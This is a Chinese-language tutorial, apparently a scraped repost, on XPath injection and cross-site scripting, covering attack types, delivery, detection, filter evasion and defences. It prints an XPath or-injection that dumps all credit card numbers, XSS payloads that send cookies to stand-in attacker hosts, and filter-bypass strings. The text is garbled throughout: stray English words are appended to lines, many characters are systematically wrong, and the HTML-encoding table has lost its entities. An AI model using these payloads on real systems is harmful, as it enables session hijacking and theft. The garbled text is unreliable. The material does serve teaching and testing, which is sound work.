XPATH注入javascript
Xml路径语言,是一种用于导航xml文档并从中获取数据的解释型语言。许多时候,一个XPath表达式表明由一个文档节点导航到另外一个文档节点所须要的一系列步骤。
若是web应用程序将数据保存在xml中,那么可能就须要用XPath访问数据。若是这个输入未通过任何过滤净化就插入到查询中,攻击者就能够经过控制修改查询语句来破坏应用程序逻辑,或者获取未受权数据。从某种角度上说,XPath注入手段与SQL注入很是相似。html
例如一个xml数据文档以下:java
那么获取全部用户电子邮件的xpath查询为:
//address/email/text()
一个返回Jackson的所有用户资料的xpath就为:
//address[name/text()=‘Jackson’]web
注入方式:sql
设计有这样一个功能,用户提交name&password,来获取用户保存的信用卡号码。对应的xpath以下:
//address[name/text()=‘Jackson’ and password/text()=‘letsgo’]/ccard/text()
与sql注入同样,攻击者也用’or ‘a’=‘a来攻击
//address[name/text()=‘Jackson’ and password/text()=‘ ‘or ‘1’=‘1’ ] /ccard/text()
//address/ccard/text()
就能够得到全部用户的信用卡浏览器
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------安全
XSS攻击
跨站脚本攻击(Cross Site Scripting),XSS是一种常常出如今web应用中的计算机安全漏洞,它容许恶意web用户将代码植入到提供给其它用户使用的页面中,其余用户在观看网页时,恶意脚本就会执行。这类攻击一般经过注入HTML或js等脚本发动攻击。攻击成功后,攻击者能够获得私密网页内容和cookie等。最近几年xss攻击已经成为最流行的攻击方式。服务器
XSS攻击--XSS攻击的危害cookie
•盗取各种用户账号,如机器登陆账号、用户网银账号、各种管理员账号
•控制数据,包括读取、篡改、添加、删除企业敏感数据的能力
•盗窃企业重要的具备商业价值的资料
•非法转帐
•强制发送网站挂马
•控制受害者机器向其它网站发起攻击xss
XSS攻击—XSS分类
反射式XSS
•也称为非永久性XSS,是目前最流行的XSS攻击。它出如今服务器直接使用客户端提交的数据,如url的数据、html表单中提交数据等,而且没有对数据进行无害化处理。
•若是提交的数据中含有HTML控制字符而没有被正确处理,那么一个简单的XSS攻击就会发生。
•典型的反射式攻击可 经过一个邮件或中间网站,诱饵是一个看起来可信任的站点的连接,其中包含XSS攻击脚本,若是信任的网站没有正确处理这个脚本,用户点击后就会致使浏览器执行含有恶意攻击的脚本。
•来看一个简单的反射式XSS例子:
•反射式XSS
•这个简单例子的测试有助于告诉咱们两个问题:
•首先,input 的值能够用任何返回给浏览器的数据替代;
•其次,不管服务器应用程序如何处理这些数据,都没法阻止提交javascript代码,一旦该页面显示,这些代码就会执行。
典型的反射式XSS攻击过程
•Alice常常浏览某个网站,此网站为Bob所拥有。Bob的站点运行Alice使用用户名/密码进行登陆,并存储敏感信息(好比银行账户信息)。
•http://www.bob.net
•Charly发现Bob的站点包含反射性的XSS漏洞。
•Charly编写一个利用漏洞的URL,并将其冒充为来自Bob的邮件发送给Alice。
•http://www.bob.net/error.aspx?message=<script>var+i=new + Image;i.src=http://charly.net/%2bdocument.cookie;</script>
•Alice在登陆到Bob的站点后,浏览Charly提供的URL。
•嵌入到URL中的恶意脚本在Alice的浏览器中执行,就像它直接来自Bob的服务器同样。此脚本盗窃敏感信息(受权、信用卡、账号信息等)而后在Alice彻底不知情的状况下将这些信息向Charly的Web站点charly.net提出一个请求,Charly监控访问chaly.net的请求即可截获Alice的会话令牌。
•存储式XSS
•也成为永久性XSS,危害更大。攻击将攻击脚本上传到Web服务器上,使得全部访问该页面的用户都面临信息泄漏的可能,其中也包括了Web服务器的管理员。
•典型例子:
•在一个交友网站上,一我的在我的信息上写上一段脚本如:
•<script>window.open(http://www.mysite.com?yourcookie=document.cookie)</script>,而该网站没有对该段内容进行正确编码,那么网站其余用户看到这个用户信息页时,就会将当前的cookie提交到该用户的web站点上。
典型的存储式XSS攻击过程:
•Bob拥有一个Web站点,该站点容许用户发布信息/浏览已发布的信息。
•Charly注意到Bob的站点具备类型C的XSS漏洞。
•Charly发布一个热点信息,吸引其它用户纷纷阅读。
•Bob或者是任何的其余人如Alice浏览该信息,其会话cookies或者其它信息将被Charly盗走。
基于DOM的XSS攻击
•反射式XSS攻击和存储式XSS攻击都是经过服务器端提取用户提交的数据而且以不安全的方式将其返回给用户。基于DOM的攻击仅仅经过javascript的方式执行。
•当javascript在浏览器执行时,浏览器提供给javascript代码几个DOM对象。文档对象首先在这些对象之中,而且它表明着大多数浏览器呈现的页面的属性。这个文档对象包含不少子对象,例如location,URL和referrer。这些对象根据浏览器的显示填充浏览器。所以, document.URL 和 document.location是由页面的URL按照浏览器的解析填充的。
•也就是说这种攻击常发生在应用程序每次返回相同的静态html,而经过客户端javascript动态生成信息时。
基于DOM的XSS攻击
•<HTML>
•<TITLE>Welcome!</TITLE>
•Hi
•<SCRIPT>
•var pos=document.URL.indexOf("name=")+5;
•document.write(document.URL.substring(pos,document.URL.length));
•</SCRIPT><BR>
•Welcome to our system
•</HTML>
•一般这个页面做为用户欢迎页面, 例如:
• http://www.mysite.com/welcome.html?name=Jackson 然而,以下的一个请求: http://www. mysite.com/welcome.html?name= <script>alert(document.cookie)</script> 将产生xss条件。让咱们看看为何:受害者的浏览器接收到这个连接,发送HTTP请求到www.mysite.com而且接受到上面的HTML页。受害者的浏览器开始解析这个HTML为DOM,DOM包含一个对象叫document,document里面有个URL属性,这个属性里填充着当前页面的URL。当解析器到达javascript代码,它会执行它而且修改你的HTML页面。假若代码中引用了document.URL,那么,这部分字符串将会在解析时嵌入到HTML中,而后当即解析,同时,javascript代码会找到(alert(…))而且在同一个页面执行它,这就产生了xss的条件。
XSS攻击—XSS攻击有效载荷
1. 会话令牌
•XSS攻击最广泛的方式。截取一名受害者的会话令牌,劫持他的会话,进而做为受害者的身份来使用应用程序,执行任意操做并占有该用户的帐户。
•2. 虚拟置换
•这种攻击须要在一个Web应用程序页面注入恶意数据,从而向应用程序的用户传送误导性信息。包括简单的向站点注入html,或者使用脚本注入精心设计的内容。攻击者实际上没有修改保存在服务器上的内容,而是利用程序处理并显示用户提交的输入方面的缺陷实现置换。
3.注入木马
•这种攻击形成的后果远比虚拟置换严重,它在易受攻击的应用程序中注入实际运行的功能,旨在欺骗终端用户执行某种有害操做(如输入敏感数据),随后将它们传送给攻击者。
•在一个明显的攻击中,攻击者注入的功能向用户显示一个木马登陆表单,要求他们向攻击者控制的服务器提交他们本身的证书。若是由技巧熟练的攻击者实施,这种攻击还容许用户无缝登陆到真正的应用程序中,以便他们不会发觉访问过程当中的任何反常状况。而后,攻击者就能够自由使用受害者的证书实现本身的目的。这种类型的有效载荷很是适宜于用在钓鱼攻击中,向用户传送一个通过专门设计、链接可信应用程序的URL,并要求他们正常登陆以访问这个URL。
•因为这些攻击中的URL指向真实应用程序的可信域名,若是在必要时使用有效的 SSL 证书,它们就比纯粹的钓鱼Web站点更有可能说服受害者提交敏感信息;后者一般位于另外一个域中,并且只是克隆目标Web站点的内容。
XSS攻击—传送机制
传送反射型与基于DOM的XSS攻击
经过电子邮件向随机用户大量发送专门设计的URL
在有针对性的攻击中,攻击者能够向个体目标用户或少数几名用户发送一封伪造的电子邮件。例如,能够向管理员发送一封明显由已知用户送出的电子邮件,抱怨某个特殊的URL形成错误。
在即时消息中向目标用户提供一个 URL
第三方Web站点上的内容与代码可用于生成触发XSS漏洞的请求
一些攻击者付费购买许多连接至一个URL的横幅广告,该URL中包含一个针对某易受攻击的应用程序的XSS有效载荷。若是一名用户登陆这个易受攻击的应用程序,并单击广告,那么他登陆该应用程序的会话就会被攻破。
许多应用程序执行一种"推荐给朋友"或向站点管理员发送反馈的功能。这种功能一般容许用户生成一封电子邮件,其内容与收件人都可自由设置。攻击者可以利用这种功能,经过一封实际源自本身服务器的电子邮件传送XSS攻击,提升邮件被技术熟练的用户与反恶意软件的软件接受的可能性。
•传送保存型XSS攻击
•漏洞数据经过主Web界面提交给应用程序。用户控制的数据最终显示给其余用户的常见位置包含:
我的信息字段,如姓名、地址、电子邮件、电话等
文档、上传文件及其余数据的名称
提交给应用程序管理员的反馈或问题
向其余应用程序用户传送的消息、注释、问题等
记录在应用程序日志中,并经过浏览器显示给管理员的任何内容,如 URL、用户名、HTTP Referer、User-Agent等
在用户之间共享的上传文件内容
XSS攻击—XSS检测
•肯定XSS漏洞的基本方法是使用下面这个概念验证攻击字符串:
•><script>alert(‘xss’)</script>
•这个字符串被提交给每一个应用程序页面中的每个参数;同时,攻击者监控它的响应,看其中是否出现这个相同的字符串。若是发现攻击字符串按原样出如今响应中,几乎能够确定应用程序存在XSS漏洞。
•若是仅仅是为了尽量快地肯定应用程序中存在的某种XSS漏洞,以向其余应用程序用户实施攻击,那么这个基本方法多是最为有效的方法,由于它能够实现高度自动化,并且不多生成错误警报。
•常用的检测字符串一般还有:
• =’><script>alert(document.cookie)</script>
• <script>alert(document.cookie)</script>
• <script>alert(vulnerable)</script>
• <script>alert(’XSS’)</script>
• <imgsrc=”javascript.:alert(’XSS’)”>
• <imgsrc=”http://xxx.com/yyy.png” onerror=”alert(’XSS’)”>
•若是是对应用程序进行复杂的测试,从而肯定尽量多的漏洞,那么在应用基本方法的同时,还须要组合使用更加复杂的技巧。
•在遇到某些防护性过滤,如黑名单初步过滤、输入净化等,这种最基本的检测方法将没法肯定应用程序中是否存在XSS漏洞。
•一样的,当利用基于DOM的XSS漏洞时,攻击有效载荷并不在服务器的响应中返回,而是保存在浏览器DOM中,并可被客户端JavaScript访问。在这种状况下,提交一个特殊字符串并检查它是否在服务器的响应中出现的基本检测方法一样将没法成功发现漏洞。
•探查反射型XSS漏洞
•要探查反射型XSS漏洞,须要在解析应用程序的过程当中肯定全部的用户输入点,并遵守以下步骤:
在每一个输入点提交一个良性字符串
肯定此字符串反射在应用程序响应中的全部位置
对于每一个反射,肯定显示反射型数据时的语法上下文
提交针对反射语法上下文而修改的数据,尝试在响应中引入任意脚本
若是反射型数据被阻止或净化,致使脚本没法执行,则尝试避开应用程序的防护型过滤
•探查反射型XSS漏洞
•1. 确认用户输入的反射:
①选择任意一个字符串,该字符串未曾出如今应用程序的任何地方,并且其中仅包含字母字符,所以不可能受到针对XSS过滤的影响。例如:
myxsstestfengluo
②提交这个字符串,以其做为每一个页面的每个参数,且每次只针对一个参数。
③监控应用程序的响应,看其中是否出现这同一个字符串。记下参数值被复制到应用程序响应中的每个参数。这些参数不必定容易受到攻击,但须要将它们做为潜在的XSS漏洞,进行深刻分析
•探查反射型XSS漏洞
•2. 测试引入脚本的反射:
•渗透测试员必须对记下的每一个潜在的漏洞进行手动分析,肯定其是否确实可被利用。这时,渗透测试的目的是找到一种设计输入的方法,以便当它被复制到应用程序响应的相同位置时,任何JavaScript脚本都可以得以执行。
•探查反射型XSS漏洞
标签属性值
•假设返回的页面中包含如下脚本:
•<input type="text" name="address1" value="myxsstestfengluo">
•很明显,利用XSS的一种方法是终止包含字符串的双引号,结束<input>标签,而后经过其余方法引入JavaScript脚本(使用<script>、<img src= 'javascript:...'>等)。例如:
•"><script>alert(‘xss’)</script>
•在这种状况下,另外一种能够避开某些输入过滤的利用方法,是在<input>标签内注入一个包含JavaScript的事件处理器。例如:
•“ onfocus="alert(‘xss’)
•探查反射型XSS漏洞
JavaScript字符串
•假设返回的页面中包含如下脚本:
•<script>var a = 'myxsstestfengluo'; var b = 12; ... </script>
•这时,受控制的字符串被直接插入到现有的一段脚本中。要利用XSS,能够终止字符串周围的单引号,用一个分号终止整个语句,而后直接处理想要执行的 JavaScript。例如:
•'; alert(‘xss’); var foo='
•注意,由于已经终止了一个被引用的字符串,为阻止JavaScript注释器出现错误,必须在注入的代码后使用有效的语法确保脚本继续正常执行。在这个示例中,变量foo被声明,另外一个引用字符串被打开,它们将被紧随在字符串后面的代码终止。另外一种常常有效的方法是使用//结束输入,将剩下的脚本看成注释处理。
•探查反射型XSS漏洞
包含URL的特性:
•假设返回的页面中包含如下脚本:
•<img src="myxsstestfengluo">
•这时,受控制的字符串插入到一个<img>标签的src属性中。在一些浏览器中,这个属性可能包含一个使用javascript:协议的 URL,从而可使用如下脚本直接利用XSS:
•javascript:alert(‘xss’);
•要向当前全部的浏览器实施攻击,能够同时使用一个无效的图像名称与一个onerror事件处理器:
•“onerror=”alert(‘xss’)
•探查防护型过滤
•有时候最初提交的攻击字符串并不会被服务器按原样返回,于是没法成功执行注入的JavaScript。接下来应该肯定服务器对输入进行了哪些处理。主要有如下两种可能的状况。
应用程序发现输入匹配了攻击黑名单,执行过滤,彻底阻止了输入。
应用程序已经接受了输入,但对攻击字符串进行了某种净化或编码。
避开过滤或净化
•首先须要肯定输入中的哪些字符或表达式触发了过滤或净化。一种有效的方法是轮流删除字符串的不一样部分,看输入是否仍然被阻止。一般,使用这种方法可迅速查明是不是某个特殊的表达式(如<script>)形成请求被阻止。
•若是确实如此,那么须要对过滤进行测试,看是否有任何避开过滤的办法。
避开过滤或净化
•介绍几种简单避开过滤和净化的方法:
大小写:
由于许多人用小写字符编写HTML代码,因此一些过滤仅检查经常使用的小写恶意标签。若是是这样,那么经过改变字符大小写便可避开这些过滤。
如:
<SCriPt>
•避开过滤或净化
空白符:
许多过滤匹配特殊的标签,包括起始与结束尖括号。然而,许多浏览器接受结束括号前的空白符,容许攻击者轻易避开这种过滤。
如: <script >
即便空字节后面的文本仍然在应用程序的响应中返回,但若是遇到空字节,一些过滤会中止处理字符串。在被过滤的表达式前插入一个URL编码的空字节便可避开这种过滤。
如: <sc%00ript>
避开过滤或净化
事件处理器:
有大量事件处理器能够与标签结合使用,以用于执行脚本。例如:
*<img src=a onerror=alert(‘XSS’)>
<body onactivate=alert(‘XSS’)>
<xml onreadystatechange=alert(‘XSS’)>
•避开过滤或净化
脚本伪协议:
脚本伪协议能够用在各个位置,以在须要的URL属性中执行脚本。例如:
*<iframe src=“javascript:alert(‘XSS’)”>
<object data=“javascript:alert(‘XSS’)”>
……
探查存储型XSS漏洞
•肯定保存型XSS漏洞的过程与前面描述的肯定反射型XSS漏洞的过程有不少类似之处,都包括提交一个特殊的字符串做为每一个页面的每个参数。下面来看一下检测存储型XSS漏洞的步骤:
向应用程序中的每个可能的位置提交一个特殊的字符串后,必须反复检查应用程序的整个内容与功能,肯定这个字符串在浏览器中显示的任何状况。在一个位置(例如,我的信息页面的姓名字段)输入用户控制的数据,这个数据可能会在应用程序的许多不一样位置显示(例如,用户主页上、注册用户列表中、任务等工做流程项目中、其余用户的联系列表中、用户提交的消息或问题中、应用程序日志中等)。应用程序可能对每一个出现的字符串实施了不一样的保护性过滤,所以须要对它们进行单独分析。
若有可能,应检查管理员可以访问的全部应用程序区域,肯定其中是否存在任何可被非管理用户控制的数据。例如,应用程序通常容许管理员在浏览器中检查日志文件。这种类型的功能极有可能包含XSS漏洞,攻击者经过生成含有恶意HTML的日志记录便可对其加以利用。
在向应用程序中的每一个位置提交一个测试字符串时,并不老是把它做为每一个页面的每个参数这样简单。在保存被提交的数据以前,许多应用程序功能须要经历几个阶段的操做。例如,注册新用户、处理购物订单、转帐等操做每每须要按预约的顺序提交几个不一样的请求。为避免遗漏任何漏洞,必须确保每次测试完全完成。
若是应用程序容许文件上传与下载,应始终探查这种功能是否易于受到保存型XSS攻击。若是应用程序容许HTML或文本文件,且并不确认或净化它们的内容,那么几乎能够确定它们易于受到攻击。若是它容许JPEG文件且并不确认其中是否包含有效的图像,那么它可能易于受到针对Internet Explorer用户的攻击。测试应用程序如何处理它支持的每种文件类型,并弄清浏览器如何处理包含HTML而非正常内容的响应。
探查基于DOM的XSS漏洞
•使用“提交一个特殊的字符串做为参数,而后监控响应中是否出现该字符串”的常规方法没法肯定基于DOM的XSS漏洞:。
•肯定基于DOM的XSS漏洞的基本方法是,用浏览器手动浏览应用程序,并修改每个URL参数,在其中插入一个标准测试字符串,例如:
•"<script>alert(‘xss’)</script>
•经过在浏览器中显示每个返回的页面,能够执行全部客户端脚本,必要时引用修改的URL参数。只要包含xss的对话框出现,就表示发现了一个漏洞。
•遇到相关过滤操做时,也能够用以前介绍的一些方法避开过滤。
XSS攻击—XSS预防
•1. 输入验证
若是应用程序在某个位置收到的用户提交的数据未来有可能被复制到它的响应中,应用程序应根据这种情形对这些数据执行尽量严格的确认。须要确认的数据的潜在特性包括如下几点。
数据不是太长。
数据仅包含某组合法字符。
数据与一个特殊的正规表达式相匹配。
根据应用程序但愿在每一个字段中收到的数据类型,应尽量限制性地对姓名、电子邮件地址、帐号等应用不一样的确认规则。
2. 输出编码
•若是应用程序将某位用户或第三方提交的数据复制到它的响应中,那么应用程序应对这些数据进行HTML编码,以净化可能的恶意字符。HTML 编码指用对应的HTML实体替代字面量字符。这样作可确保浏览器安全处理可能为恶意的字符,把它们看成HTML文档的内容而非结构处理。 常常形成问题的字符的HTML编码以下:
•“ -----"
•‘ -----'
•< -----<
•> ----->
•/ -----/
应用程序之因此结合使用输入确认与输出净化,缘由在于这种方法可以提供两层防护:若是其中一层被攻破,另外一层还能提供一些保护。•许多执行输入与输出确认的过滤都容易被攻破。结合这两种技巧,应用程序就可以得到额外的保护,即便攻击者发现其中一种过滤存在缺陷,另外一种过滤仍然可以阻止他实施攻击。在这两种防护中,输出确认最为重要,必不可少。实施严格的输入确认应被视为一种次要故障恢复